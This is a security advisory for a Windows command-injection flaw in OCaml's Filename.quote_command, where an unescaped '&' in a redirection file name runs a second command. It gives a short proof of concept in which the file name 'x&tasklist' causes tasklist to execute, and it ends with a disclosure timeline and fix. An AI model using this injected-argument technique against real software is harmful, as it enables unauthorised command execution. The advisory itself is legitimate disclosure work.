The quoting of stdin/stdout/stderror (using "Filename.quote_command") on Windows is not sufficient, and allows the "&" character to be passed through. This allows an attacker to inject a shell command if they can specify the stdin/stdout/stderr of a program to be executed. Exploit $ opam exec -- ocaml OCaml version 4.14.2 Enter #help;; for help. let outfile = "x&tasklist" in let cmd = Filename.quote_command "netsh.exe" ~stdout:outfile ["help"] in ignore (Sys.command cmd) ;; Image Name PID Session Name Session# Mem Usage ========================= ======== ================ =========== ============ System Idle Process 0 Services 0 8 K System 4 Services 0 168 K Secure System 236 Services 0 191,468 K Registry 276 Services 0 3,428 K smss.exe 608 Services 0 1,676 K csrss.exe 984 Services 0 5,928 K Timeline - 2026-06-18 release of this security advisory - 2026-06-15 release of OCaml 4.14.4 - 2026-06-08 fix by David Allsopp https://github.com/ocaml/ocaml/pull/14853 - 2026-04-11 reported by Anil Madhavapeddy, forwarded from Andrew Nesbitt to security@ocaml.org